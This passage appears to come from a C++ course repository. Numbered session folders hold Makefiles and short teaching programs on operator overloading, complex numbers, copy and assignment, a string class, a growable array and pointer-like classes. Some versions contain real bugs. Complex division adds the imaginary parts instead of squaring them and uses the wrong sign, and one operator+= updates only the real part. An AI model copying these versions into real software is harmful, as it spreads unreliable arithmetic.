return Complex((re * op2.re + im * op2.im) / dvs,
(re * op2.im + im * op2.re) / dvs);
}
void Print() const { printf("%g%+gi\n", re, im); }
};
int main()
{
Complex t, z(3, 4), a(1, 1), b(2, 3), c(1, -1);
// Complex imag_1(0, 1);
// t = z * imag_1;
t = z * Complex(0, 1); // Anonymous
t.Print();
t = a + b + c; // Temporary
t.Print();
return 0;
}
destruction.cppC++ / 37 lines
#include <stdio.h>
class Noisy {
const char *name;
public:
Noisy(const char *n) { name = n; printf(" create %s\n", name); }
~Noisy() { printf(" destroy %s\n", name); }
const char *Name() const { return name; }
};
Noisy make(const char *n) /* returns an object by value */
{
return Noisy(n);
}
int main()
{
printf("1: anonymous object, no reference\n");
printf(" using %s\n", Noisy("anon").Name());
printf(" next statement\n");
printf("2: anonymous object bound to a reference\n");
{
const Noisy &r = Noisy("bound");
printf(" next statement, r is %s\n", r.Name());
printf(" end of block\n");
}
printf("3: function result bound to a reference\n");
{
const Noisy &r = make("returned");
printf(" next statement, r is %s\n", r.Name());
printf(" end of block\n");
}
printf("main returns\n");
return 0;
}
12 (10-04)
MakefileMake / 9 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.c *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
complex.cppC++ / 41 lines
#include <math.h>
#include <cstdio>
class Complex {
double re, im;
public:
Complex(double a_re = 0, double a_im = 0) { re = a_re; im = a_im; }
double Magnitude() const { return sqrt(re*re + im*im); }
double Argument() const { return atan2(im, re); }
double GetRe() const { return re; }
double GetIm() const { return im; }
Complex operator+(const Complex &op2) const
{ return Complex(re + op2.re, im + op2.im); }
Complex operator-(const Complex &op2) const
{ return Complex(re - op2.re, im - op2.im); }
Complex operator*(const Complex &op2) const {
return Complex(re * op2.re - im * op2.im,
re * op2.im + im * op2.re);
}
Complex operator/(const Complex &op2) const {
double dvs = op2.re * op2.re + op2.im+op2.im;
return Complex((re * op2.re + im * op2.im) / dvs,
(re * op2.im + im * op2.re) / dvs);
}
void Print() const { printf("%g%+gi\n", re, im); }
};
int main()
{
Complex t, z(3, 4), a(1, 1), b(2, 3), c(1, -1);
// Complex imag_1(0, 1);
// t = z * imag_1;
t = z * Complex(0, 1); // Anonymous
t.Print();
t = a + b + c; // Temporary
t.Print();
return 0;
}
default.cppC++ / 12 lines
#include <cstdio>
void f(int a, const char *b = "string", int c = 5)
{
printf("%d, %s, %d\n", a, b, c);
}
int main()
{
f(5, "hello");
return 0;
}
13 (10-04)
MakefileMake / 21 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDLIBS = -lm
SRCS = $(wildcard *.c *.cpp)
OBJS = $(addsuffix .o, $(basename $(SRCS)))
PROGS = $(basename $(shell grep -l "^int main" $(SRCS) /dev/null))
MODS = $(filter-out $(PROGS:=.o), $(OBJS))
all: $(PROGS)
libmods.a: $(MODS)
ar crs $@ $^
$(PROGS): %: %.o libmods.a
$(CXX) $^ $(LDLIBS) -o $@
$(OBJS): $(wildcard *.h *.hpp)
clean:
rm -f *.o libmods.a $(PROGS)
complex.cppC++ / 56 lines
#include <math.h>
#include <cstdio>
#include "complex.hpp"
Complex::Complex(double a_re, double a_im)
{
re = a_re; im = a_im;
}
double Complex::Magnitude() const
{
return sqrt(re*re + im*im);
}
double Complex::Argument() const
{
return atan2(im, re);
}
double Complex::GetRe() const
{
return re;
}
double Complex::GetIm() const
{
return im;
}
Complex Complex::operator+(const Complex &op2) const
{
return Complex(re + op2.re, im + op2.im);
}
Complex Complex::operator-(const Complex &op2) const
{
return Complex(re - op2.re, im - op2.im);
}
Complex Complex::operator*(const Complex &op2) const
{
return Complex(re * op2.re - im * op2.im,
re * op2.im + im * op2.re);
}
Complex Complex::operator/(const Complex &op2) const
{
double dvs = op2.re * op2.re + op2.im+op2.im;
return Complex((re * op2.re + im * op2.im) / dvs,
(re * op2.im + im * op2.re) / dvs);
}
void Complex::Print() const
{
printf("%g%+gi\n", re, im);
}
complex.hppC++ / 14 lines
class Complex {
double re, im;
public:
Complex(double a_re = 0, double a_im = 0);
double Magnitude() const;
double Argument() const;
double GetRe() const;
double GetIm() const;
Complex operator+(const Complex &op2) const;
Complex operator-(const Complex &op2) const;
Complex operator*(const Complex &op2) const;
Complex operator/(const Complex &op2) const;
void Print() const;
};
double_dot.cppC++ / 12 lines
#include <cstdio>
void func()
{
printf("hello there\n");
}
int main()
{
::func();
return 0;
}
main.cppC++ / 16 lines
#include "complex.hpp"
int main()
{
Complex t, z(3, 4), a(1, 1), b(2, 3), c(1, -1);
// Complex imag_1(0, 1);
// t = z * imag_1;
t = z * Complex(0, 1); // Anonymous
t.Print();
t = a + b + c; // Temporary
t.Print();
return 0;
}
14 (10-04)
MakefileMake / 21 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDLIBS = -lm
SRCS = $(wildcard *.c *.cpp)
OBJS = $(addsuffix .o, $(basename $(SRCS)))
PROGS = $(basename $(shell grep -l "^int main" $(SRCS) /dev/null))
MODS = $(filter-out $(PROGS:=.o), $(OBJS))
all: $(PROGS)
libmods.a: $(MODS)
ar crs $@ $^
$(PROGS): %: %.o libmods.a
$(CXX) $^ $(LDLIBS) -o $@
$(OBJS): $(wildcard *.h *.hpp)
clean:
rm -f *.o libmods.a $(PROGS)
complex.cppC++ / 13 lines
#include <math.h>
#include <cstdio>
#include "complex.hpp"
Complex::Complex(double a_re, double a_im)
{
re = a_re; im = a_im;
}
void Complex::Print() const
{
printf("%g%+gi\n", re, im);
}
complex.hppC++ / 39 lines
#include <math.h>
class Complex {
double re, im;
public:
Complex(double a_re = 0, double a_im = 0);
double Magnitude() const { return sqrt(re*re + im*im); }
double Argument() const { return atan2(im, re); }
double GetRe() const { return re; }
double GetIm() const { return im; }
Complex operator+(const Complex &op2) const;
Complex operator-(const Complex &op2) const;
Complex operator*(const Complex &op2) const;
Complex operator/(const Complex &op2) const;
void Print() const;
};
inline Complex Complex::operator+(const Complex &op2) const
{
return Complex(re + op2.re, im + op2.im);
}
inline Complex Complex::operator-(const Complex &op2) const
{
return Complex(re - op2.re, im - op2.im);
}
inline Complex Complex::operator*(const Complex &op2) const
{
return Complex(re * op2.re - im * op2.im,
re * op2.im + im * op2.re);
}
inline Complex Complex::operator/(const Complex &op2) const
{
double dvs = op2.re * op2.re + op2.im+op2.im;
return Complex((re * op2.re + im * op2.im) / dvs,
(re * op2.im + im * op2.re) / dvs);
}
main.cppC++ / 17 lines
#include "complex.hpp"
int main()
{
Complex t, z(3, 4), a(1, 1), b(2, 3), c(1, -1);
// Complex imag_1(0, 1);
// t = z * imag_1;
t = z * Complex(0, 1); // Anonymous
t.Print();
t = a + b + c; // Temporary
t.GetRe();
t.Print();
return 0;
}
15 (10-04)
MakefileMake / 21 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDLIBS = -lm
SRCS = $(wildcard *.c *.cpp)
OBJS = $(addsuffix .o, $(basename $(SRCS)))
PROGS = $(basename $(shell grep -l "^int main" $(SRCS) /dev/null))
MODS = $(filter-out $(PROGS:=.o), $(OBJS))
all: $(PROGS)
libmods.a: $(MODS)
ar crs $@ $^
$(PROGS): %: %.o libmods.a
$(CXX) $^ $(LDLIBS) -o $@
$(OBJS): $(wildcard *.h *.hpp)
clean:
rm -f *.o libmods.a $(PROGS)
complex.cppC++ / 7 lines
#include <cstdio>
#include "complex.hpp"
void Complex::Print() const
{
printf("%g%+gi\n", re, im);
}
complex.hppC++ / 39 lines
#include <math.h>
class Complex {
double re, im;
public:
Complex(double a_re = 0, double a_im = 0) : re(a_re), im(a_im) {}
double Magnitude() const { return sqrt(re*re + im*im); }
double Argument() const { return atan2(im, re); }
double GetRe() const { return re; }
double GetIm() const { return im; }
Complex operator+(const Complex &op2) const;
Complex operator-(const Complex &op2) const;
Complex operator*(const Complex &op2) const;
Complex operator/(const Complex &op2) const;
void Print() const;
};
inline Complex Complex::operator+(const Complex &op2) const
{
return Complex(re + op2.re, im + op2.im);
}
inline Complex Complex::operator-(const Complex &op2) const
{
return Complex(re - op2.re, im - op2.im);
}
inline Complex Complex::operator*(const Complex &op2) const
{
return Complex(re * op2.re - im * op2.im,
re * op2.im + im * op2.re);
}
inline Complex Complex::operator/(const Complex &op2) const
{
double dvs = op2.re * op2.re + op2.im+op2.im;
return Complex((re * op2.re + im * op2.im) / dvs,
(re * op2.im + im * op2.re) / dvs);
}
main.cppC++ / 16 lines
#include "complex.hpp"
int main()
{
Complex t, z(3, 4), a(1, 1), b(2, 3), c(1, -1);
// Complex imag_1(0, 1);
// t = z * imag_1;
t = z * Complex(0, 1); // Anonymous
t.Print();
t = a + b + c; // Temporary
t.Print();
return 0;
}
16 (10-04)
MakefileMake / 21 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDLIBS = -lm
SRCS = $(wildcard *.c *.cpp)
OBJS = $(addsuffix .o, $(basename $(SRCS)))
PROGS = $(basename $(shell grep -l "^int main" $(SRCS) /dev/null))
MODS = $(filter-out $(PROGS:=.o), $(OBJS))
all: $(PROGS)
libmods.a: $(MODS)
ar crs $@ $^
$(PROGS): %: %.o libmods.a
$(CXX) $^ $(LDLIBS) -o $@
$(OBJS): $(wildcard *.h *.hpp)
clean:
rm -f *.o libmods.a $(PROGS)
complex.cppC++ / 7 lines
#include <cstdio>
#include "complex.hpp"
void Complex::Print() const
{
printf("%g%+gi\n", re, im);
}
complex.hppC++ / 40 lines
#ifndef COMPLEX_HPP
#define COMPLEX_HPP
#include <math.h>
class Complex {
double re, im;
public:
Complex(double a_re = 0, double a_im = 0) : re(a_re), im(a_im) {}
double Magnitude() const { return sqrt(re*re + im*im); }
double Argument() const { return atan2(im, re); }
double GetRe() const { return re; }
double GetIm() const { return im; }
void Print() const;
};
inline Complex operator+(const Complex &a, const Complex &b)
{
return Complex(a.GetRe() + b.GetRe(), a.GetIm() + b.GetIm());
}
inline Complex operator-(const Complex &a, const Complex &b)
{
return Complex(a.GetRe() - b.GetRe(), a.GetIm() - b.GetIm());
}
inline Complex operator*(const Complex &a, const Complex &b)
{
return Complex(a.GetRe() * b.GetRe() - a.GetIm() * b.GetIm(),
a.GetRe() * b.GetIm() + a.GetIm() * b.GetRe());
}
inline Complex operator/(const Complex &a, const Complex &b)
{
double dvs = b.GetRe() * b.GetRe() + b.GetIm() * b.GetIm();
return Complex((a.GetRe() * b.GetRe() + a.GetIm() * b.GetIm()) / dvs,
(a.GetIm() * b.GetRe() - a.GetRe() * b.GetIm()) / dvs);
}
#endif
main.cppC++ / 16 lines
#include "complex.hpp"
int main()
{
Complex t, z(3, 4), a(1, 1), b(2, 3), c(1, -1);
// Complex imag_1(0, 1);
// t = z * imag_1;
t = z * Complex(0, 1); // Anonymous
t.Print();
t = a + b + c; // Temporary
t.Print();
return 0;
}
17 (10-04)
MakefileMake / 21 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDLIBS = -lm
SRCS = $(wildcard *.c *.cpp)
OBJS = $(addsuffix .o, $(basename $(SRCS)))
PROGS = $(basename $(shell grep -l "^int main" $(SRCS) /dev/null))
MODS = $(filter-out $(PROGS:=.o), $(OBJS))
all: $(PROGS)
libmods.a: $(MODS)
ar crs $@ $^
$(PROGS): %: %.o libmods.a
$(CXX) $^ $(LDLIBS) -o $@
$(OBJS): $(wildcard *.h *.hpp)
clean:
rm -f *.o libmods.a $(PROGS)
complex.cppC++ / 7 lines
#include <cstdio>
#include "complex.hpp"
void Complex::Print() const
{
printf("%g%+gi\n", re, im);
}
complex.hppC++ / 44 lines
#ifndef COMPLEX_HPP
#define COMPLEX_HPP
#include <math.h>
class Complex {
friend Complex operator+(const Complex&, const Complex&);
friend Complex operator-(const Complex&, const Complex&);
friend Complex operator*(const Complex&, const Complex&);
friend Complex operator/(const Complex&, const Complex&);
double re, im;
public:
Complex(double a_re = 0, double a_im = 0) : re(a_re), im(a_im) {}
double Magnitude() const { return sqrt(re*re + im*im); }
double Argument() const { return atan2(im, re); }
double GetRe() const { return re; }
double GetIm() const { return im; }
void Print() const;
};
inline Complex operator+(const Complex &a, const Complex &b)
{
return Complex(a.re + b.re, a.im + b.im);
}
inline Complex operator-(const Complex &a, const Complex &b)
{
return Complex(a.re - b.re, a.im - b.im);
}
inline Complex operator*(const Complex &a, const Complex &b)
{
return Complex(a.re * b.re - a.im * b.im,
a.re * b.im + a.im * b.re);
}
inline Complex operator/(const Complex &a, const Complex &b)
{
double dvs = b.re * b.re + b.im * b.im;
return Complex((a.re * b.re + a.im * b.im) / dvs,
(a.im * b.re - a.re * b.im) / dvs);
}
#endif
main.cppC++ / 16 lines
#include "complex.hpp"
int main()
{
Complex t, z(3, 4), a(1, 1), b(2, 3), c(1, -1);
// Complex imag_1(0, 1);
// t = z * imag_1;
t = z * Complex(0, 1); // Anonymous
t.Print();
t = a + b + c; // Temporary
t.Print();
return 0;
}
18 (10-04)
MakefileMake / 21 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDLIBS = -lm
SRCS = $(wildcard *.c *.cpp)
OBJS = $(addsuffix .o, $(basename $(SRCS)))
PROGS = $(basename $(shell grep -l "^int main" $(SRCS) /dev/null))
MODS = $(filter-out $(PROGS:=.o), $(OBJS))
all: $(PROGS)
libmods.a: $(MODS)
ar crs $@ $^
$(PROGS): %: %.o libmods.a
$(CXX) $^ $(LDLIBS) -o $@
$(OBJS): $(wildcard *.h *.hpp)
clean:
rm -f *.o libmods.a $(PROGS)
complex.cppC++ / 7 lines
#include <cstdio>
#include "complex.hpp"
void Complex::Print() const
{
printf("%g%+gi\n", re, im);
}
complex.hppC++ / 54 lines
#ifndef COMPLEX_HPP
#define COMPLEX_HPP
#include <math.h>
class Complex {
friend Complex operator+(const Complex&, const Complex&);
friend Complex operator+=(Complex &a, const Complex &b);
friend Complex operator-(const Complex&, const Complex&);
friend Complex operator*(const Complex&, const Complex&);
friend Complex operator/(const Complex&, const Complex&);
double re, im;
public:
Complex(double a_re = 0, double a_im = 0) : re(a_re), im(a_im) {}
double Magnitude() const { return sqrt(re*re + im*im); }
double Argument() const { return atan2(im, re); }
double GetRe() const { return re; }
double GetIm() const { return im; }
Complex &operator=(const Complex &c)
{ re = c.re; im = c.im; return *this; }
Complex &operator-=(const Complex &c)
{ re -= c.re; im -= c.im; return *this; }
void Print() const;
};
inline Complex operator+(const Complex &a, const Complex &b)
{
return Complex(a.re + b.re, a.im + b.im);
}
inline Complex operator+=(Complex &a, const Complex &b)
{
return a.re += b.re; a.im += b.im; return a;
}
inline Complex operator-(const Complex &a, const Complex &b)
{
return Complex(a.re - b.re, a.im - b.im);
}
inline Complex operator*(const Complex &a, const Complex &b)
{
return Complex(a.re * b.re - a.im * b.im,
a.re * b.im + a.im * b.re);
}
inline Complex operator/(const Complex &a, const Complex &b)
{
double dvs = b.re * b.re + b.im * b.im;
return Complex((a.re * b.re + a.im * b.im) / dvs,
(a.im * b.re - a.re * b.im) / dvs);
}
#endif
main.cppC++ / 16 lines
#include "complex.hpp"
int main()
{
Complex t, z(3, 4), a(1, 1), b(2, 3), c(1, -1);
// Complex imag_1(0, 1);
// t = z * imag_1;
t = z * Complex(0, 1); // Anonymous
t.Print();
t += a + b + c; // Temporary
t.Print();
return 0;
}
19 (10-04)
MakefileMake / 21 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
LDLIBS = -lm
SRCS = $(wildcard *.c *.cpp)
OBJS = $(addsuffix .o, $(basename $(SRCS)))
PROGS = $(basename $(shell grep -l "^int main" $(SRCS) /dev/null))
MODS = $(filter-out $(PROGS:=.o), $(OBJS))
all: $(PROGS)
libmods.a: $(MODS)
ar crs $@ $^
$(PROGS): %: %.o libmods.a
$(CXX) $^ $(LDLIBS) -o $@
$(OBJS): $(wildcard *.h *.hpp)
clean:
rm -f *.o libmods.a $(PROGS)
implicit.cppC++ / 41 lines
#include <stdio.h>
struct Rec {
const int id; /* const field: fixed at creation */
int &counter; /* reference field: bound at creation */
int value; /* ordinary field */
Rec(int i, int &c, int v) : id(i), counter(c), value(v) {}
const Rec &operator=(const Rec &o)
{
value = o.value; /* copy only what can change */
return *this;
}
void Print(const char *name) const
{
printf(" %s: id=%d counter=%d value=%d\n",
name, id, counter, value);
}
};
int main()
{
int x = 10, y = 20;
Rec a(1, x, 100), b(2, y, 200);
Rec c = a; /* copy: c.id = 1, c.counter is x */
printf("before:\n");
a.Print("a");
b.Print("b");
c.Print("c");
b = a; /* our operator=: only value */
c.counter++; /* c.counter is x, so a sees it too */
printf("after b = a; c.counter++;\n");
a.Print("a");
b.Print("b");
c.Print("c");
printf(" x = %d, y = %d\n", x, y);
return 0;
}
private.cppC++ / 14 lines
class A {
public:
A() {}
private:
A(const A &ref) {}
void operator=(const A &ref) {}
};
int main()
{
A a1, a2;
// a2 = a1;
}
str.cppC++ / 79 lines
#include <stdio.h>
#include <string.h>
class Str {
char *s;
static char *Join(const char *a, const char *b);
public:
Str(const char *a = ""); /* default + conversion */
Str(const Str &o); /* copy constructor */
~Str() { delete[] s; }
const Str &operator=(const Str &o); /* assignment: Str = Str */
const Str &operator=(const char *a); /* assignment: Str = "..." */
const Str &operator+=(const Str &o); /* compound assignment */
const char *Get() const { return s; }
};
/* new buffer holding a followed by b */
char *Str::Join(const char *a, const char *b)
{
char *r = new char[strlen(a) + strlen(b) + 1];
strcpy(r, a);
strcat(r, b);
return r;
}
Str::Str(const char *a)
{
printf(" Str(const char *)\n");
s = Join(a, "");
}
Str::Str(const Str &o) /* *this is new: s is garbage */
{
printf(" Str(const Str &) copy constructor\n");
s = Join(o.s, ""); /* just build */
}
const Str &Str::operator=(const Str &o) /* *this exists: s is a buffer */
{
printf(" operator=(const Str &)\n");
char *n = Join(o.s, ""); /* build the new one first, */
delete[] s; /* then drop the old one: */
s = n; /* safe even for a = a */
return *this;
}
const Str &Str::operator=(const char *a)
{
printf(" operator=(const char *)\n");
char *n = Join(a, "");
delete[] s;
s = n;
return *this;
}
const Str &Str::operator+=(const Str &o)
{
printf(" operator+=(const Str &)\n");
char *n = Join(s, o.s); /* safe even for a += a */
delete[] s;
s = n;
return *this;
}
int main()
{
printf("Str a(\"hello\");\n"); Str a("hello");
printf("Str b = a;\n"); Str b = a;
printf("Str c(a);\n"); Str c(a);
printf("Str d;\n"); Str d;
printf("d = a;\n"); d = a;
printf("d = \"world\";\n"); d = "world";
printf("d += a;\n"); d += a;
printf("a = a; a += a;\n"); a = a; a += a;
printf("a=%s b=%s c=%s d=%s\n", a.Get(), b.Get(), c.Get(), d.Get());
return 0;
}
20 (10-04)
MakefileMake / 9 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.c *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
int_array.cppC++ / 77 lines
class IntArray {
int *p;
unsigned int size;
public:
IntArray() {
size = 16;
p = new int[size];
}
~IntArray() { delete[] p; }
IntArray(const IntArray& ref);
const IntArray& operator=(const IntArray& ref);
int& operator[](unsigned int idx);
int operator[](unsigned int idx) const;
private:
void Copy(const IntArray& ref);
void Resize(unsigned int required_index);
};
IntArray::IntArray(const IntArray& ref)
{
IntArray::Copy(ref);
}
const IntArray& IntArray::operator=(const IntArray& ref)
{
if (this != &ref) {
delete[] p;
IntArray::Copy(ref);
}
return *this;
}
int& IntArray::operator[](unsigned int idx)
{
if (idx >= size)
Resize(idx);
return p[idx];
}
int IntArray::operator[](unsigned int idx) const
{
if (idx >= size)
return 0;
return p[idx];
}
void IntArray::Copy(const IntArray& ref)
{
size = ref.size;
p = new int[size];
for (unsigned int i = 0; i < size; i++)
p[i] = ref.p[i];
}
void IntArray::Resize(unsigned int required_index)
{
unsigned int new_size = size;
while (new_size <= required_index)
new_size *= 2;
int *new_array = new int[new_size];
for (unsigned int i = 0; i < size; i++)
new_array[i] = p[i];
delete[] p;
p = new_array;
size = new_size;
}
int main()
{
IntArray arr;
arr[500] = 15;
arr[1000] = 30;
arr[10] = arr[500] + 1;
arr[10]++;
return 0;
}
int_array02.cppC++ / 93 lines
#include <stdio.h>
#include <stdlib.h>
class IntArray {
enum { max_size = 1u << 30 };
int *p;
unsigned int size;
public:
IntArray() {
size = 16;
p = new int[size]();
}
~IntArray() { delete[] p; }
IntArray(const IntArray& ref);
const IntArray& operator=(const IntArray& ref);
int& operator[](unsigned int idx);
int operator[](unsigned int idx) const;
private:
void Copy(const IntArray& ref);
void Resize(unsigned int required_index);
};
IntArray::IntArray(const IntArray& ref)
{
IntArray::Copy(ref);
}
const IntArray& IntArray::operator=(const IntArray& ref)
{
if (this != &ref) {
delete[] p;
IntArray::Copy(ref);
}
return *this;
}
int& IntArray::operator[](unsigned int idx)
{
if (idx >= size)
Resize(idx);
return p[idx];
}
int IntArray::operator[](unsigned int idx) const
{
if (idx >= size)
return 0;
return p[idx];
}
void IntArray::Copy(const IntArray& ref)
{
size = ref.size;
p = new int[size];
for (unsigned int i = 0; i < size; i++)
p[i] = ref.p[i];
}
void IntArray::Resize(unsigned int required_index)
{
unsigned int new_size = size;
if (required_index >= max_size) {
fprintf(stderr, "IntArray: index %u too large\n", required_index);
abort();
}
while (new_size <= required_index)
new_size *= 2;
int *new_array = new int[new_size]();
for (unsigned int i = 0; i < size; i++)
new_array[i] = p[i];
delete[] p;
p = new_array;
size = new_size;
}
int main()
{
IntArray arr;
arr[500] = 15;
arr[1000] = 30;
arr[10] = arr[500] + 1;
arr[10]++;
IntArray copy = arr;
const IntArray &ro = copy;
arr = arr;
copy[10] = 0;
printf("arr[10] = %d, arr[3] = %d, copy[10] = %d, ro[99999] = %d\n",
arr[10], arr[3], copy[10], ro[99999]);
return 0;
}
21 (10-04)
MakefileMake / 9 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.c *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
inc.cppC++ / 20 lines
#include <stdio.h>
class A {
public:
void operator++() { printf("first\n"); }
void operator--() { printf("second\n"); }
void operator++(int) { printf("third\n"); }
void operator--(int) { printf("fourth\n"); }
};
int main()
{
A a;
++a;
a++;
--a;
a--;
return 0;
}
int.cppC++ / 21 lines
#include <stdio.h>
class MyInt {
int i;
public:
MyInt(int x) : i(x) {}
operator int() const { return i; }
const MyInt& operator++() { i++; return *this; }
MyInt operator++(int) { MyInt tmp(*this); i++; return tmp; }
void Print() const { printf("%d\n", i); }
};
int main()
{
MyInt i(3);
(++i).Print();
(i++).Print();
i.Print();
return 0;
}
22 (10-04)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
checked_pointer.cppC++ / 41 lines
#include <stdio.h>
#include <stdlib.h>
struct Person {
const char *name;
int age;
};
class PersonPtr { /* a pointer that checks itself */
Person *p;
const char *where; /* for the error message */
public:
PersonPtr(Person *a, const char *w) : p(a), where(w) {}
Person *operator->() const
{
if (!p) {
fprintf(stderr, "%s: null Person pointer used\n", where);
abort();
}
return p;
}
};
static Person *find(Person *all, int n, const char *name)
{
for (int i = 0; i < n; i++)
if (all[i].name[0] == name[0])
return &all[i];
return 0;
}
int main()
{
Person all[] = { { "Ada", 36 }, { "Ken", 81 } };
PersonPtr a(find(all, 2, "Ken"), "lookup Ken");
PersonPtr b(find(all, 2, "Bob"), "lookup Bob");
printf("%s is %d\n", a->name, a->age);
printf("%s is %d\n", b->name, b->age); /* stops here, clearly */
return 0;
}
const_ptr.cppC++ / 88 lines
/*
* const_ptr.cpp: const methods of a class that holds a pointer
*
* g++ -Wall -Wextra -ansi -pedantic const_ptr.cpp -o const_ptr
* ./const_ptr prints 25 61
*
* Add -DTRY=n to the g++ line to get one of the errors:
* 1 a const method assigns to the field p
* 2 fill gives the constant x another s1
* 3 the const versions return const: both writes in fill fail
* 4 the messages name the types of this, &p and &*p
*/
#include <stdio.h>
#ifndef TRY
#define TRY 0
#endif
struct s1 { int a, b; };
class Pointer_s1 {
s1 *p;
public:
Pointer_s1(s1 *ptr = 0) : p(ptr) {}
~Pointer_s1() { if (p) delete p; }
s1 *operator=(s1 *ptr);
#if TRY == 3
s1 &operator*() { return *p; }
s1 *operator->() { return p; }
const s1 &operator*() const { return *p; }
const s1 *operator->() const { return p; }
#else
s1 &operator*() const { return *p; } /* p means this->p */
s1 *operator->() const { return p; }
#endif
#if TRY == 1
void Reset() const { p = 0; }
#endif
#if TRY == 4
void InConst() const;
void InPlain();
#endif
private:
Pointer_s1(const Pointer_s1&) {}
void operator=(const Pointer_s1&) {}
};
s1 *Pointer_s1::operator=(s1 *ptr)
{
if (p)
delete p;
p = ptr;
return p;
}
#if TRY == 4
void Pointer_s1::InConst() const /* every line is wrong on purpose */
{
static_cast<int>(this);
static_cast<int>(&p);
static_cast<int>(&*p);
}
void Pointer_s1::InPlain()
{
static_cast<int>(this);
static_cast<int>(&p);
static_cast<int>(&*p);
}
#endif
void fill(const Pointer_s1& x) /* x can't be changed here... */
{
x->a = 25; /* ...but the s1 can */
(*x).b = x->a + 36;
#if TRY == 2
x = new s1;
#endif
}
int main()
{
Pointer_s1 x;
x = new s1;
fill(x);
printf("%d %d\n", x->a, x->b);
return 0;
}
const_ptr01.cppC++ / 76 lines
#include <stdio.h>
#ifndef TRY
#define TRY 0
#endif
struct s1 { int a, b; };
class Pointer_s1 {
s1 *p;
public:
Pointer_s1(s1 *ptr = 0) : p(ptr) {}
~Pointer_s1() { if (p) delete p; }
s1 *operator=(s1 *ptr);
#if TRY == 3
s1 &operator*() { return *p; }
s1 *operator->() { return p; }
const s1 &operator*() const { return *p; }
const s1 *operator->() const { return p; }
#else
s1 &operator*() const { return *p; } /* p means this->p */
s1 *operator->() const { return p; }
#endif
#if TRY == 1
void Reset() const { p = 0; }
#endif
#if TRY == 4
void InConst() const;
void InPlain();
#endif
private:
Pointer_s1(const Pointer_s1&) {}
void operator=(const Pointer_s1&) {}
};
s1 *Pointer_s1::operator=(s1 *ptr)
{
if (p)
delete p;
p = ptr;
return p;
}
#if TRY == 4
void Pointer_s1::InConst() const /* every line is wrong on purpose */
{
static_cast<int>(this);
static_cast<int>(&p);
static_cast<int>(&*p);
}
void Pointer_s1::InPlain()
{
static_cast<int>(this);
static_cast<int>(&p);
static_cast<int>(&*p);
}
#endif
void fill(const Pointer_s1& x) /* x can't be changed here... */
{
x->a = 25; /* ...but the s1 can */
(*x).b = x->a + 36;
#if TRY == 2
x = new s1;
#endif
}
int main()
{
Pointer_s1 x;
x = new s1;
fill(x);
printf("%d %d\n", x->a, x->b);
return 0;
}
const_ptr02.cppC++ / 29 lines
#include <stdio.h>
struct s1 {
int a, b;
};
class Pointer_s1 {
s1 *p;
public:
Pointer_s1(s1 *ptr) : p(ptr) {}
s1 *operator->() const { return p; }
const void *Where() const { return &p; }
};
int main()
{
s1 one, two;
const Pointer_s1 x(&one);
s1 *q = x.operator->();
printf("x: lies at %p\n", (void*)&x);
printf("field p: lies at %p, holds %p\n", x.Where(), (void*)q);
printf("q: lies at %p, holds %p\n", (void*)&q, (void*)q);
q = &two; /* q is the caller's own cell */
printf("after q = &two:\n");
printf("field p: lies at %p, holds %p\n", x.Where(),
(void*)x.operator->());
printf("q: lies at %p, holds %p\n", (void*)&q, (void*)q);
return 0;
}
const_ptr03.cppC++ / 40 lines
#include <stdio.h>
struct s1 {
int a, b;
};
class Pointer_s1 {
s1 *p;
public:
Pointer_s1(s1 *ptr = 0) : p(ptr) {}
s1 *operator=(s1 *ptr);
s1& operator*() const { return *p; }
s1* operator->() const { return p; }
const void *Where() const { return &p; }
private:
Pointer_s1(const Pointer_s1&) {}
void operator=(const Pointer_s1&) {}
};
s1 *Pointer_s1::operator=(s1 *ptr)
{
if (p)
delete p;
p = ptr;
return p;
}
int main()
{
s1 x;
x.a = 3;
x.b = 4;
Pointer_s1 p;
p = &x;
s1 *q = p.operator->();
printf("%p %p\n", (void*) q, (void*) &x);
printf("%d %d\n", q->a, q->b);
return 0;
}
iterator.cppC++ / 61 lines
#include <stdio.h>
struct Person {
const char *name;
int age;
};
class PersonList {
struct Node { /* hidden list structure */
Person data;
Node *next;
};
Node *first;
public:
class Iter { /* behaves like Person * */
Node *n;
public:
Iter(Node *p) : n(p) {}
Person *operator->() const { return &n->data; }
Iter &operator++() { n = n->next; return *this; }
bool AtEnd() const { return n == 0; }
};
PersonList() : first(0) {}
~PersonList();
void Add(const char *name, int age);
Iter Begin() const { return Iter(first); }
private:
PersonList(const PersonList &);
void operator=(const PersonList &);
};
PersonList::~PersonList()
{
while (first) {
Node *t = first;
first = first->next;
delete t;
}
}
void PersonList::Add(const char *name, int age)
{
Node *t = new Node;
t->data.name = name;
t->data.age = age;
t->next = first;
first = t;
}
int main()
{
PersonList list;
list.Add("Ada", 36);
list.Add("Ken", 81);
list.Add("Dennis", 70);
for (PersonList::Iter it = list.Begin(); !it.AtEnd(); ++it)
printf("%-7s %d\n", it->name, it->age); /* like a pointer */
return 0;
}
pointer.cppC++ / 29 lines
struct s1 {
int a, b;
};
class Pointer_s1 {
s1 *p;
public:
